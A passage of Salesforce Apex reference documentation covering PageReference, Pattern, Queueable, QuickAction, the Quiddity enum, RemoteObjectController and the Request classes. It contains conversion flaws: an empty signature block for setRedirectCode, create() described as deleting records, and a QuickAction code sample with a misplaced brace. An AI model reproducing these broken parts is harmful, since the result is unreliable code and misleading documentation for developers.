            </apex:pageBlockButtons>
            <apex:pageBlockSection title="Account Information">
                <apex:inputField id="accountName" value="{!account.name}"/>
                <apex:inputField id="accountSite" value="{!account.site}"/>
            </apex:pageBlockSection>
        </apex:pageBlock>
    </apex:form>
</apex:page>
```

### Example: Redirect Users to a Replacement Experience Cloud Site

The following example shows how to redirect a user attempting to access a retired feedback site to a self-service help site. If the `redirect` attribute is set to `true` on the `PageReference` for the feedback site, the user navigates to the URL specified by the `PageReference`. The `redirectCode` attribute defines the redirection type for search engine optimization in public Experience Cloud sites.

```java
public class RedirectController {
    // Redirect users to the self-service help site
    public PageReference redirect() {
        final PageReference target = new PageReference(Site.getBaseSecureUrl() + '/SiteLogin');
        target.setRedirect(true);
        // This is a permanent redirection
        target.setRedirectCode(301);
        return target;
    }
}
```

The following example shows how to call the `RedirectController` class from the retired site page.

```xml
<apex:page controller="RedirectController" action="{!redirect}"/>
```
IN THIS SECTION:
  PageReference Constructors
  PageReference Methods

PageReference Constructors

The following are constructors for PageReference.

IN THIS SECTION:
  PageReference(partialURL)
  PageReference(record)

PageReference(partialURL)

Creates a new instance of the PageReference class using the specified URL.

Signature

public PageReference(String partialURL)

Parameters

partialURL
  Type: String
  The partial URL of a page hosted on the Lightning platform or a full external URL. The following are some examples of the partialURL parameter values:
  - /recordID: refers to the detail page of a specified record.
  - http://www.google.com: refers to an external URL.

PageReference(record)

Generate a new instance of the PageReference class for the specified sObject record.

Signature

public PageReference(SObject record)

Parameters

record
  Type: SObject
The sObject record that references the ApexPage. The reference must be an ApexPage.

SEE ALSO:
Visualforce Developer Guide: apexpage
SOAP API Developer Guide: ApexPage

**PageReference Methods**

The following are methods for PageReference. All are instance methods.

IN THIS SECTION:
- `forResource(resourceName, path)`
  Create a PageReference for nested content inside a zip static resource, by name and path.
- `forResource(resourceName)`
  Create a PageReference for a static resource, by name.
- `getAnchor()`
  Returns the name of the anchor referenced in the page’s URL. That is, the part of the URL after the hashtag (#).
- `getContent()`
  Returns the output of the page, as displayed to a user in a web browser.
- `getContentAsPDF()`
  Returns the page in PDF, regardless of the `<apex:page>` component’s `renderAs` attribute.
- `getCookies()`
  Returns a map of cookie names and cookie objects, where the key is a String of the cookie name and the the value contains the cookie object with that name.
- `getHeaders()`
  Returns a map of the request headers, where the key string contains the name of the header, and the value string contains the value of the header.
- `getParameters()`
  Returns a map of the query string parameters for the PageReference; both POST and GET parameters are included. The key string contains the name of the parameter, while the value string contains the value of the parameter.
- `getRedirect()`
  Returns the current value of the PageReference object’s `redirect` attribute.
- `getRedirectCode()`
  Returns the HTTP redirect code used when `getRedirect()` is set to `true` for the PageReference object.
- `getUrl()`
  Returns the relative URL associated with the PageReference when it was originally defined, including any query string parameters and anchors.
- `setAnchor(anchor)`
  Sets the URL’s anchor reference to the specified string.
- `setCookies(cookies)`
  Creates a list of cookie objects. Used in conjunction with the Cookie class.
setRedirect(redirect)
Sets the value of the PageReference object's redirect attribute. If set to true, a redirect is performed through a client side redirect.

setRedirectCode(redirectCode)
Sets the HTTP redirect code to use for the PageReference object when setRedirect(redirect) is set to true.

**forResource(resourceName, path)**
Create a PageReference for nested content inside a zip static resource, by name and path.

**Signature**

```java
public static System.PageReference forResource(String resourceName, String path)
```

**Parameters**

- **resourceName**
  - Type: String
  - The resource name

- **path**
  - Type: String
  - The resource path

**Return Value**

Type: System.PageReference

**forResource(resourceName)**
Create a PageReference for a static resource, by name.

**Signature**

```java
public static System.PageReference forResource(String resourceName)
```

**Parameters**

- **resourceName**
  - Type: String
  - The resource name

**Return Value**

Type: System.PageReference

**getAnchor()**
Returns the name of the anchor referenced in the page's URL. That is, the part of the URL after the hashtag (#).
Signature
public String getAnchor()

Return Value
Type: String

Note: Instances of PageReference returned by ApexPages.currentPage() have a null anchor attribute, because URL fragments are not sent to the Salesforce server during a request.

getContent()
Returns the output of the page, as displayed to a user in a web browser.

Signature
public Blob getContent()

Return Value
Type: Blob

Usage
The content of the returned Blob depends on how the page is rendered. If the page is rendered as a PDF file, it returns the PDF document. If the page is not rendered as PDF, it returns HTML. To access the content of the returned HTML as a string, use the toString Blob method.

Note: If you use getContent in a test method, the test method fails. getContent is treated as a callout in API version 34.0 and later.

This method can't be used in:
- Triggers
- Test methods
- Apex email services

If the Visualforce page has an error, an ExecutionException is thrown.

getContentAsPDF()
Returns the page in PDF, regardless of the <apex:page> component's renderAs attribute.

Signature
public Blob getContentAsPDF()

Return Value
Type: Blob
### Usage

**Note:** If you use `getContentAsPDF` in a test method, the test method fails. `getContentAsPDF` is treated as a callout in API version 34.0 and later.

This method can’t be used in:

- Triggers
- Test methods
- Apex email services

#### getCookies()

Returns a map of cookie names and cookie objects, where the key is a String of the cookie name and the value contains the cookie object with that name.

**Signature**

```java
public Map<String, System.Cookie> getCookies()
```

**Usage**

Used in conjunction with the `Cookie` class. Only returns cookies with the “apex__” prefix set by the `setCookies` method.

#### getHeaders()

Returns a map of the request headers, where the key string contains the name of the header, and the value string contains the value of the header.

**Signature**

```java
public Map<String, String> getHeaders()
```

**Usage**

This map can be modified and remains in scope for the PageReference object. For instance, you could do:

```java
PageReference.getHeaders().put('Date', '9/9/99');
```

For a description of request headers, see [Request Headers](#).

#### getParameters()

Returns a map of the query string parameters for the PageReference; both POST and GET parameters are included. The key string contains the name of the parameter, while the value string contains the value of the parameter.
Signature

```
public Map<String, String> getParameters()
```

Return Value

Type: `Map<String, String>`

Usage

This map can be modified and remains in scope for the PageReference object. For instance, you could do:

```
PageReference.getParameters().put('id', myID);
```

Parameter keys are case-insensitive. For example:

```
System.assert(
    ApexPages.currentPage().getParameters().get('myParamName') ==
    ApexPages.currentPage().getParameters().get('myparamname'));
```

getRedirect()

Returns the current value of the PageReference object's `redirect` attribute.

Signature

```
public Boolean getRedirect()
```

Return Value

Type: `Boolean`

Usage

Note that if the URL of the PageReference object is set to a website outside of the `salesforce.com` domain, the redirect always occurs, regardless of whether the `redirect` attribute is set to `true` or `false`.

getRedirectCode()

Returns the HTTP redirect code used when `getRedirect()` is set to `true` for the PageReference object.

Signature

```
public Integer getRedirectCode()
```

Return Value

Type: `Integer`

Possible Values:

- 0 — Redirect using the default redirect action for this PageReference. Typically a JavaScript-based redirection or HTTP 302.
Note: Site URLRewriter Interface implementations pointing to a PageReference with a redirectCode of 0 are not redirected.

- 301 — Moved Permanently. Redirect users by sending an HTTP GET request to the target location. Includes instructions to update any references to the requested URL with the target location.
- 302 — Moved Temporarily. Redirect users by sending an HTTP GET request to the target location. Because the redirection is temporary, it doesn't include update instructions.
- 303 — See Other. Redirect users by sending an HTTP GET request to the target location. Not commonly used. Useful when the client sends a POST request and you want the client to call the new web page using a GET request instead of a POST request.
- 307 — Temporary Redirect. Send the same HTTP request, regardless of the HTTP method, to the target location. Because the redirection is temporary, it doesn't include update instructions.
- 308 — Permanent Redirect. Send the same HTTP request, regardless of the HTTP method, to the target location. Includes instructions to update any references to the requested URL with the target location.

**getUrl()**

Returns the relative URL associated with the PageReference when it was originally defined, including any query string parameters and anchors.

**Signature**

public String getUrl()

**Return Value**

Type: String

**setAnchor(anchor)**

Sets the URL's anchor reference to the specified string.

**Signature**

public System.PageReference setAnchor(String anchor)

**Parameters**

anchor
Type: String

**Return Value**

Type: System.PageReference

**setCookies(cookies)**

Creates a list of cookie objects. Used in conjunction with the Cookie class.
Signature

```java
public Void setCookies(Cookie[] cookies)
```

Parameters

- **cookies**
  Type: `System.Cookie[]`

Return Value

Type: Void

Usage

⚠️ **Important:**

- Cookie names and values set in Apex are URL encoded, that is, characters such as @ are replaced with a percent sign and their hexadecimal representation.
- The `setCookies` method adds the prefix “apex__” to the cookie names.
- Setting a cookie's value to `null` sends a cookie with an empty string value instead of setting an expired attribute.
- After you create a cookie, the properties of the cookie can't be changed.
- Be careful when storing sensitive information in cookies. Pages are cached regardless of a cookie value. If you use a cookie value to generate dynamic content, you should disable page caching. For more information, see “Cache Salesforce Sites Pages” in the Salesforce Help.

**setRedirect(redirect)**

Sets the value of the `PageReference` object's `redirect` attribute. If set to `true`, a redirect is performed through a client side redirect.

Signature

```java
public System.PageReference setRedirect(Boolean redirect)
```

Parameters

- **redirect**
  Type: `Boolean`

Return Value

Type: `System.PageReference`

Usage

This type of redirect performs an HTTP GET request, and flushes the view state, which uses POST. If set to `false`, the redirect is a server-side forward that preserves the view state if and only if the target page uses the same controller and contains the proper subset of extensions used by the source page.
Note that if the URL of the PageReference object is set to a website outside of the salesforce.com domain, or to a page with a different controller or controller extension, the redirect always occurs, regardless of whether the redirect attribute is set to true or false.

**setRedirectCode(redirectCode)**

Sets the HTTP redirect code to use for the PageReference object when setRedirect(redirect) is set to true.

**Signature**

```java
```

**Parameters**

**redirectCode**

Type: `Integer`

Valid values:

- 0 — Redirect using the default redirect action for this PageReference. Typically a JavaScript-based redirection or HTTP 302.

> Note: Site URLRewriter Interface implementations pointing to a PageReference with a `redirectCode` of 0 are not redirected.

- 301 — Moved Permanently. Redirect users by sending an HTTP GET request to the target location. Includes instructions to update any references to the requested URL with the target location.

- 302 — Moved Temporarily. Redirect users by sending an HTTP GET request to the target location. Because the redirection is temporary, it doesn’t include update instructions.

- 303 — See Other. Redirect users by sending an HTTP GET request to the target location. Not commonly used. Useful when the client sends a POST request and you want the client to call the new web page using a GET request instead of a POST request.

- 307 — Temporary Redirect. Send the same HTTP request, regardless of the HTTP method, to the target location. Because the redirection is temporary, it doesn’t include update instructions.

- 308 — Permanent Redirect. Send the same HTTP request, regardless of the HTTP method, to the target location. Includes instructions to update any references to the requested URL with the target location.

If the redirect code contains an invalid integer, an error message is displayed when PageReference is used by Salesforce for redirection.

**Return Value**

Type: `System.PageReference`

**Packaging Class**

Contains a method for obtaining information about managed and unlocked packages.

**Namespace**

System
Usage
In the context of a package, use the getCurrentPackageId method to retrieve the packageID.

IN THIS SECTION:
Packaging Methods

Packaging Methods
The following are methods for Packaging.

IN THIS SECTION:
getCurrentPackageId()
Returns the context packageID in managed and unlocked packages.

getCurrentPackageId()
Returns the context packageID in managed and unlocked packages.

Signature
public String getCurrentPackageId()

Return Value
Type: String

Usage
For managed packages, this method can be combined with isCurrentUserLicensedForPackage(packageId) to retrieve the packageId at runtime. Then, use packageId to confirm that the contextual user is licensed to use that managed package.

Pattern Class
Represents a compiled representation of a regular expression.

Namespace
System

Pattern Methods
The following are methods for Pattern.

IN THIS SECTION:
compile(regExp)
Compiles the regular expression into a Pattern object.
matcher(stringToMatch)
Creates a Matcher object that matches the input string `stringToMatch` against this Pattern object.

matches(regExp, stringToMatch)
Compiles the regular expression `regExp` and tries to match it against the specified string. This method returns `true` if the specified string matches the regular expression, `false` otherwise.

pattern()
Returns the regular expression from which this Pattern object was compiled.

quote(yourString)
Returns a string that can be used to create a pattern that matches the string `yourString` as if it were a literal pattern.

split(regExp)
Returns a list that contains each substring of the String that matches this pattern.

split(regExp, limit)
Returns a list that contains each substring of the String that is terminated either by the regular expression `regExp` that matches this pattern, or by the end of the String.

**compile(regExp)**
Compiles the regular expression into a Pattern object.

Signature
```
public static Pattern compile(String regExp)
```

Parameters

`regExp`
Type: `String`

Return Value
Type: `System.Pattern`

**matcher(stringToMatch)**
Creates a Matcher object that matches the input string `stringToMatch` against this Pattern object.

Signature
```
public Matcher matcher(String stringToMatch)
```

Parameters

`stringToMatch`
Type: `String`

Return Value
Type: `Matcher`
**matches(regExp, stringtoMatch)**

Compiles the regular expression `regExp` and tries to match it against the specified string. This method returns `true` if the specified string matches the regular expression, `false` otherwise.

**Signature**

```java
public static Boolean matches(String regExp, String stringtoMatch)
```

**Parameters**

- `regExp`
  - Type: `String`

- `stringtoMatch`
  - Type: `String`

**Return Value**

Type: `Boolean`

**Usage**

If a pattern is to be used multiple times, compiling it once and reusing it is more efficient than invoking this method each time.

**Example**

Note that the following code example:

```java
Pattern.matches(regExp, input);
```

produces the same result as this code example:

```java
Pattern.compile(regex).matcher(input).matches();
```

**pattern()**

Returns the regular expression from which this Pattern object was compiled.

**Signature**

```java
public String pattern()
```

**Return Value**

Type: `String`

**quote(yourString)**

Returns a string that can be used to create a pattern that matches the string `yourString` as if it were a literal pattern.
Signature

`public static String quote(String yourString)`

Parameters

`yourString`
Type: `String`

Return Value

Type: `String`

Usage

Metacharacters (such as `$` or `^`) and escape sequences in the input string are treated as literal characters with no special meaning.

**split(regExp)**

Returns a list that contains each substring of the String that matches this pattern.

Signature

`public String[] split(String regExp)`

Parameters

`regExp`
Type: `String`

Return Value

Type: `String[]`

Note: In API version 34.0 and earlier, a zero-width `regExp` value produces an empty list item at the beginning of the method's output.

Usage

The substrings are placed in the list in the order in which they occur in the String. If `regExp` does not match the pattern, the resulting list has just one element containing the original String.

**split(regExp, limit)**

Returns a list that contains each substring of the String that is terminated either by the regular expression `regExp` that matches this pattern, or by the end of the String.

Signature

`public String[] split(String regExp, Integer limit)`
Parameters

regExp
  Type: String

limit
  Type: Integer

(Optional) Controls the number of times the pattern is applied and therefore affects the length of the list.

- If limit is greater than zero:
  - The pattern is applied a maximum of (limit - 1) times.
  - The list's length is no greater than limit.
  - The list's last entry contains all input beyond the last matched delimiter.

- If limit is non-positive, the pattern is applied as many times as possible, and the list can have any length.
- If limit is zero, the pattern is applied as many times as possible, the list can have any length, and trailing empty strings are discarded.

Return Value

Type: String[]

Note: In API version 34.0 and earlier, a zero-width regExp value produces an empty list item at the beginning of the method's output.

Queueable Interface

Enables the asynchronous execution of Apex jobs that can be monitored.

Namespace

System

Usage

To execute Apex as an asynchronous job, implement the Queueable interface and add the processing logic in your implementation of the execute method.

To implement the Queueable interface, you must first declare a class with the implements keyword as follows:

```java
public class MyQueueableClass implements Queueable {

Next, your class must provide an implementation for the following method:

```java
public void execute(QueueableContext context) {
  // Your code here
}
```

Your class and method implementation must be declared as public or global.

To submit your class for asynchronous execution, call the System.enqueueJob by passing it an instance of your class implementation of the Queueable interface as follows:

```java
ID jobID = System.enqueueJob(new MyQueueableClass());
```
Queueable Methods

The following are methods for Queueable.

execute(context)
Executes the queueable job.

**execute(context)**
Executes the queueable job.

**Signature**
```java
public void execute(QueueableContext context)
```

**Parameters**

- `context`  
  Type: QueueableContext  
  Contains the job ID.

**Return Value**
Type: Void

Queueable Example Implementation

This example is an implementation of the Queueable interface. The execute method in this example inserts a new account.

```java
public class AsyncExecutionExample implements Queueable {
    public void execute(QueueableContext context) {
        Account a = new Account(Name='Acme',Phone='(415) 555-1212');
        insert a;
    }
}
```

To add this class as a job on the queue, call this method:

```java
ID jobID = System.enqueueJob(new AsyncExecutionExample());
```
After you submit your queueable class for execution, the job is added to the queue and will be processed when system resources become available. You can monitor the status of your job programmatically by querying AsyncApexJob or through the user interface in Setup by entering Apex Jobs in the Quick Find box, then selecting Apex Jobs.

To query information about your submitted job, perform a SOQL query on AsyncApexJob by filtering on the job ID that the System.enqueueJob method returns. This example uses the jobId variable that was obtained in the previous example.

```apex
AsyncApexJob jobInfo = [SELECT Status, NumberOfErrors FROM AsyncApexJob WHERE Id=:jobId];
```

Similar to future jobs, queueable jobs don’t process batches, and so the number of processed batches and the number of total batches are always zero.

**Testing Queueable Jobs**

This example shows how to test the execution of a queueable job in a test method. A queueable job is an asynchronous process. To ensure that this process runs within the test method, the job is submitted to the queue between the Test.startTest and Test.stopTest block. The system executes all asynchronous processes started in a test method synchronously after the Test.stopTest statement. Next, the test method verifies the results of the queueable job by querying the account that the job created.

```apex
@isTest
class AsyncExecutionExampleTest {
    static testmethod void test1() {
        // startTest/stopTest block to force async processes to run in the test.
        Test.startTest();
        System.enqueueJob(new AsyncExecutionExample());
        Test.stopTest();

        // Validate that the job has run
        // by verifying that the record was created.
        // This query returns only the account created in test context by the Queueable class method.
        Account acct = [SELECT Name,Phone FROM Account WHERE Name='Acme' LIMIT 1];
        System.assertNotEquals(null, acct);
        System.assertEquals('(415) 555-1212', acct.Phone);
    }
}
```

**Note:** The ID of a queueable Apex job isn’t returned in test context—System.enqueueJob returns null in a running test.

**QueueableContext Interface**

Represents the parameter type of the execute() method in a class that implements the Queueable interface and contains the job ID. This interface is implemented internally by Apex.

**Namespace**

System

**QueueableContext Methods**

The following are methods for QueueableContext.
getJobId() Returns the ID of the submitted job that uses the Queueable interface.

getJobId() Returns the ID of the submitted job that uses the Queueable interface.

Signature

public ID getJobId()

Return Value

Type: ID

The ID of the submitted job.

QuickAction Class

Use Apex to request and process actions on objects that allow custom fields, on objects that appear in a Chatter feed, or on objects that are available globally.

Namespace

System

Example

In this sample, the trigger determines if the new contacts to be inserted are created by a quick action. If so, it sets the WhereFrom__c custom field to a value that depends on whether the quick action is global or local to the contact. Otherwise, if the inserted contacts don’t originate from a quick action, the WhereFrom__c field is set to 'NoAction'.

```
trigger accTrig2 on Contact (before insert) {
    for (Contact c : Trigger.new) {
        if (c.getQuickActionName() == QuickAction.CreateContact) {
            c.WhereFrom__c = 'GlobalAction1';
        } else if (c.getQuickActionName() == Schema.Account.QuickAction.CreateContact) {
            c.WhereFrom__c = 'AccountAction';
        } else if (c.getQuickActionName() == null) {
            c.WhereFrom__c = 'NoAction';
        } else {
            System.assert(false);
        }
    }
}
```

This sample performs a global action—QuickAction.CreateContact—on the passed-in contact object.

```
public Id globalCreate(Contact c) {
    QuickAction.QuickActionRequest req = new QuickAction.QuickActionRequest();
    req.quickActionName = QuickAction.CreateContact;
}
req.record = c;
QuickAction.QuickActionResult res = QuickAction.performQuickAction(req);
return c.id;
}

SEE ALSO:
QuickActionRequest Class
QuickActionResult Class

QuickAction Methods
The following are methods for QuickAction. All methods are static.

IN THIS SECTION:

describeAvailableQuickActions(parentType)
Returns metadata information for the available quick actions of the provided parent object.
describeAvailableQuickActions(sObjectNames)
Returns the metadata information for the provided quick actions.
performQuickAction(quickActionRequest)
Performs the quick action specified in the quick action request and returns the action result.
performQuickAction(quickActionRequest, allOrNothing)
Performs the quick action specified in the quick action request with the option for partial success, and returns the result.
performQuickActions(quickActionRequests)
Performs the quick actions specified in the quick action request list and returns action results.
performQuickActions(quickActionRequests, allOrNothing)
Performs the quick actions specified in the quick action request list with the option for partial success, and returns action results.

describeAvailableQuickActions (parentType)
Returns metadata information for the available quick actions of the provided parent object.

Signature

public static List<QuickAction.DescribeAvailableQuickActionResult>
describeAvailableQuickActions(String parentType)

Parameters

parentType
Type: String

The parent object type. This can be an object type name ('Account') or 'Global' (meaning that this method is called at a global level and not an entity level).
Return Value

Type: List<QuickAction.DescribeAvailableQuickActionResult>
The metadata information for the available quick actions of the parent object.

Example

// Called for Account entity.
List<QuickAction.DescribeAvailableQuickActionResult> result1 =
    QuickAction.DescribeAvailableQuickActions('Account');

// Called at global level, not entity level.
List<QuickAction.DescribeAvailableQuickActionResult> result2 =
    QuickAction.DescribeAvailableQuickActions('Global');

describeAvailableQuickActions(sObjectNames)

Returns the metadata information for the provided quick actions.

Signature

public static List<QuickAction.DescribeQuickActionResult>
describeAvailableQuickActions(List<String> sObjectNames)

Parameters

sObjectNames
    Type: List<String>
    The names of the quick actions. The quick action name can contain the entity name if it is at the entity level
    ('Account.QuickCreateContact'), or 'Global' if used for the action at the global level ('Global.CreateNewContact').

Return Value

Type: List<QuickAction.DescribeQuickActionResult>
The metadata information for the provided quick actions.

Example

// First 3 parameter values are for actions at the entity level.
// Last parameter is for an action at the global level.
List<QuickAction.DescribeQuickActionResult> result =
    QuickAction.DescribeQuickActions(new List<String> { 'Account.QuickCreateContact', 'Opportunity.Update1',
    'Contact.Create1', 'Global.CreateNewContact' });

performQuickAction(quickActionRequest)

Performs the quick action specified in the quick action request and returns the action result.
Signature

```java
public static QuickAction.QuickActionResult performQuickAction(QuickAction.QuickActionRequest quickActionRequest)
```

Parameters

- `quickActionRequest`  
  Type: `QuickAction.QuickActionRequest`

Return Value

Type: `QuickAction.QuickActionResult`

**performQuickAction(quickActionRequest, allOrNothing)**

Performs the quick action specified in the quick action request with the option for partial success, and returns the result.

Signature

```java
public static QuickAction.QuickActionResult performQuickAction(QuickAction.QuickActionRequest quickActionRequest, Boolean allOrNothing)
```

Parameters

- `quickActionRequest`  
  Type: `QuickAction.QuickActionRequest`

- `allOrNothing`  
  Type: `Boolean`

  Specifies whether this operation allows partial success. If you specify `false` for this argument and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why.

Return Value

Type: `QuickAction.QuickActionResult`

**performQuickActions(quickActionRequests)**

Performs the quick actions specified in the quick action request list and returns action results.

Signature

```java
public static List<QuickAction.QuickActionResult> performQuickActions(List<QuickAction.QuickActionRequest> quickActionRequests)
```

Parameters

- `quickActionRequests`  
  Type: `List<QuickAction.QuickActionRequest>`
performQuickActions(quickActionRequests, allOrNothing)

Performs the quick actions specified in the quick action request list with the option for partial success, and returns action results.

Signature

public static List<QuickAction.QuickActionResult>
performQuickActions(List<QuickAction.QuickActionRequest> quickActionRequests, Boolean allOrNothing)

Parameters

quickActionRequests
Type: List<QuickAction.QuickActionRequest>

allOrNothing
Type: Boolean

Specifies whether this operation allows partial success. If you specify \texttt{false} for this argument and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why.

Return Value

Type: List<QuickAction.QuickActionResult>

Quiddity Enum

Specifies a Quiddity value used by the methods in the \texttt{System.Request} class

Enum Values

The following are the values of the \texttt{System.Quiddity} enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ANONYMOUS</td>
<td>Execution event is an anonymous Apex block.</td>
</tr>
<tr>
<td>AURA</td>
<td>Execution event is an Aura component.</td>
</tr>
<tr>
<td>BATCH_ACS</td>
<td>Execution event is an API Query Cursor driven batch Apex.</td>
</tr>
<tr>
<td>BATCH_APEX</td>
<td>Execution event is a batch Apex job.</td>
</tr>
<tr>
<td>BATCH_CHUNK_PARALLEL</td>
<td>Execution event is chunks of a batch Apex job running in parallel.</td>
</tr>
<tr>
<td>BATCH_CHUNK_SERIAL</td>
<td>Execution event is chunks of a batch Apex job running in serial.</td>
</tr>
<tr>
<td>BULK_API</td>
<td>Execution event is a bulk API request.</td>
</tr>
<tr>
<td>COMMERCE_INTEGRATION</td>
<td>Execution event is an Apex integration for B2B Commerce.</td>
</tr>
<tr>
<td>Value</td>
<td>Description</td>
</tr>
<tr>
<td>--------------------------</td>
<td>-----------------------------------------------------------------------------</td>
</tr>
<tr>
<td>DISCOVERABLE_LOGIN</td>
<td>Execution event is Login Discoverable login page used by external users to log in to an Experience Cloud site.</td>
</tr>
<tr>
<td>FUNCTION_CALLBACK</td>
<td>Execution event is a callback function.</td>
</tr>
<tr>
<td>FUTURE</td>
<td>Execution event is a future method.</td>
</tr>
<tr>
<td>INBOUND_EMAIL_SERVICE</td>
<td>Execution event is an Apex inbound email service.</td>
</tr>
<tr>
<td>INVOCABLE_ACTION</td>
<td>Execution event is an invocable action.</td>
</tr>
<tr>
<td>IOT</td>
<td>Execution event is a Salesforce IOT Apex integration service.</td>
</tr>
<tr>
<td>QUEUEABLE</td>
<td>Execution event is a queueable Apex operation.</td>
</tr>
<tr>
<td>QUICK_ACTION</td>
<td>Execution event is a quick action.</td>
</tr>
<tr>
<td>REMOTE_ACTION</td>
<td>Execution event is a remote action.</td>
</tr>
<tr>
<td>REST</td>
<td>Execution event is an Apex RESTful Web service.</td>
</tr>
<tr>
<td>RUNTEST_ASYNC</td>
<td>Execution event is Apex tests running asynchronously.</td>
</tr>
<tr>
<td>RUNTEST_DEPLOY</td>
<td>Execution event is Apex tests run during deployment.</td>
</tr>
<tr>
<td>RUNTEST_SYNC</td>
<td>Execution event is Apex tests running synchronously.</td>
</tr>
<tr>
<td>SCHEDULED</td>
<td>Execution event is a scheduled Apex job.</td>
</tr>
<tr>
<td>SOAP</td>
<td>Execution event is an Apex SOAP Web service.</td>
</tr>
<tr>
<td>SYNCHRONOUS</td>
<td>Execution event is a synchronous Apex operation.</td>
</tr>
<tr>
<td>TRANSACTION_FINALIZER_QUEUEABLE</td>
<td>Execution event is a queueable job with transaction finalizers attached.</td>
</tr>
<tr>
<td>VF</td>
<td>Execution event is triggered by a Visualforce page.</td>
</tr>
</tbody>
</table>

**RemoteObjectController**

Use `RemoteObjectController` to access the standard Visualforce Remote Objects operations in your Remote Objects override methods.

**Namespace**

`System`

**Usage**

`RemoteObjectController` is supported only for use within Remote Objects methods. See “Overriding Default Remote Objects Operations” in the [Visualforce Developer’s Guide](#) for examples of how to use `RemoteObjectController` with your Visualforce pages.
RemoteObjectController Methods

The following are methods for RemoteObjectController. All methods are static.

IN THIS SECTION:
  create(type, fields)
  Delete records from the database.
  retrieve(type, fields, criteria)
  Retrieve records from the database.
  updat(type, recordIds, fields)
  Update records in the database.

create(type, fields)

Create a record in the database.

Signature

public static Map<String,Object> create(String type, Map<String,Object> fields)

Parameters

type
  Type: String
  The sObject type on which create is being called.

fields
  Type: Map<String,Object>
  The fields and values to set on the new record.

Return Value

Type: Map<String,Object>

The return value is a map that represents the result of the Remote Objects operation. What is returned depends on the results of the call.

Success

A map that contains a single element with the ID of the record created. For example, { id: 'recordId' }.

Failure

A map that contains a single element with the error message for the overall operation. For example, { error: 'errorMessage' }.

del(type, recordIds)

Delete records from the database.
Signature

```java
public static Map<String, Object> del(String type, List<String> recordIds)
```

Parameters

type
  Type: String
  The sObject type on which delete is being called.

recordIds
  Type: List<String>
  The IDs of the records to be deleted.

Return Value

Type: Map<String, Object>

The return value is a map that represents the result of the Remote Objects operation. What is returned depends on how the method was called and the results of the call.

**Single Delete—Success**

A map that contains a single element with the ID of the record that was deleted. For example, `{ id: 'recordId' }`.

**Batch Delete—Success**

A map that contains a single element, an array of Map<String, Object> elements. Each element contains the ID of a record that was deleted and an array of errors, if there were any, for that record's individual delete. For example, `{ results: [{ id: 'recordId', errors: ['errorMessage', ...]}, ...] }`.

**Single and Batch Delete—Failure**

A map that contains a single element with the error message for the overall operation. For example, `{ error: 'errorMessage' }`.

---

**retrieve(type, fields, criteria)**

Retrieve records from the database.

Signature

```java
public static Map<String, Object> retrieve(String type, List<String> fields,
                                          Map<String, Object> criteria)
```

Parameters

type
  Type: String
  The sObject type on which retrieve is being called.

fields
  Type: List<String>
  The fields to retrieve for each record.

criteria
  Type: Map<String, Object>
The criteria to use when performing the query.

Return Value
Type: Map<String, Object>
The return value is a map that represents the result of the Remote Objects operation. What is returned depends on the results of the call.

Success
A map that contains the following elements.
- records: An array of records that match the query conditions.
- type: A string that indicates the type of the sObject that was retrieved.
- size: The number of records in the response.

Failure
A map that contains a single element with the error message for the overall operation. For example, `{ error: 'errorMessage' }`.

`updat(type, recordIds, fields)`
Update records in the database.

Signature
`public static Map<String, Object> updat(String type, List<String> recordIds, Map<String, Object> fields)`

Parameters
- `type`
  Type: String
  The sObject type on which update is being called.
- `recordIds`
  Type: List<String>
  The IDs of the records to be updated.
- `fields`
  Type: Map<String, Object>
  The fields to update, and the value to update each field with.

Return Value
Type: Map<String, Object>
The return value is a map that represents the result of the Remote Objects operation. What is returned depends on how the method was called and the results of the call.

Single Update—Success
A map that contains a single element with the ID of the record that was updated. For example, `{ id: 'recordId' }`. 

3370
Batch Update—Success
A map that contains a single element, an array of Map<String,Object> elements. Each element contains the ID of the record updated and an array of errors, if there were any, for that record’s individual update. For example, { results: [ { id: 'recordId', errors: ['errorMessage', ...]}, ...] }.

Single and Batch Update—Failure
A map that contains a single element with the error message for the overall operation. For example, { error: 'errorMessage' }.

Request Class
Contains methods to obtain the request ID and Quiddity value of the current Salesforce request.

Namespace
System

Usage
Use the Request class to detect the current Apex context at runtime. The methods in the Request class obtain a unique request ID and the Quiddity value that represent the current Apex execution type. These values can also be used to correlate with debug and event logs:

• The request ID is universally unique and present in the debug logs that are triggered by the request.
• The request ID and Quiddity values are the same as in the event log files of the Apex Execution event type used in Event Monitoring.

Example
This example code shows how to obtain current Apex code context by retrieving the request ID and Quiddity value of the current request.

```java
//Get info about the current request
Request reqInfo = Request.getCurrent();

//Get the identifier for this request, which is universally unique
//Same as requestId in splunk or REQUEST_ID in event monitoring
String currentRequestId = reqInfo.getRequestId();

//Enum representing how Apex is running. e.g. BULK_API vs LIGHTNING
Quiddity currentType = reqInfo.getQuiddity();

//Use this with a switch statement,
//instead of checking System.isFuture() || System.isQueueable() || ...
```

IN THIS SECTION:
Request Methods

Request Methods
The following are methods for Request.
IN THIS SECTION:

getCurrent()

Returns the current Request object that contains the request ID and Quiddity value.

getQuiddity()

Returns the Quiddity value of the current Request object.

getRequestId()

Returns the request ID of the current Request object.

**getCurrent()**

Returns the current Request object that contains the request ID and Quiddity value.

**Signature**

```java
public static System.Request getCurrent()
```

**Return Value**

Type: `System.Request`

**getQuiddity()**

Returns the Quiddity value of the current Request object.

**Signature**

```java
public System.Quiddity getQuiddity()
```

**Return Value**

Type: `System.Quiddity`

Uses the values from the Quiddity enum. This value identifies the type of execution event associated with the current request.

**getRequestId()**

Returns the request ID of the current Request object.

**Signature**

```java
public String getRequestId()
```

**Return Value**

Type: `String`

**ResetPasswordResult Class**

Represents the result of a password reset.
Namespace
System

ResetPasswordResult Methods

The following are instance methods for ResetPasswordResult.

IN THIS SECTION:
getPassword()

Returns the password generated by the System.resetPassword method call.

getPassword()

Returns the password generated by the System.resetPassword method call.

Signature

public String getPassword()

Return Value
Type: String

RestContext Class

Contains the RestRequest and RestResponse objects.

Namespace
System

Usage

Use the System.RestContext class to access the RestRequest and RestResponse objects in your Apex REST methods.

Sample

The following example shows how to use RestContext to access the RestRequest and RestResponse objects in an Apex REST method.

```java
@RestResource(urlMapping='/MyRestContextExample/*')
global with sharing class MyRestContextExample {

    @HttpGet
    global static Account doGet() {
        RestRequest req = RestContext.request;
        RestResponse res = RestContext.response;
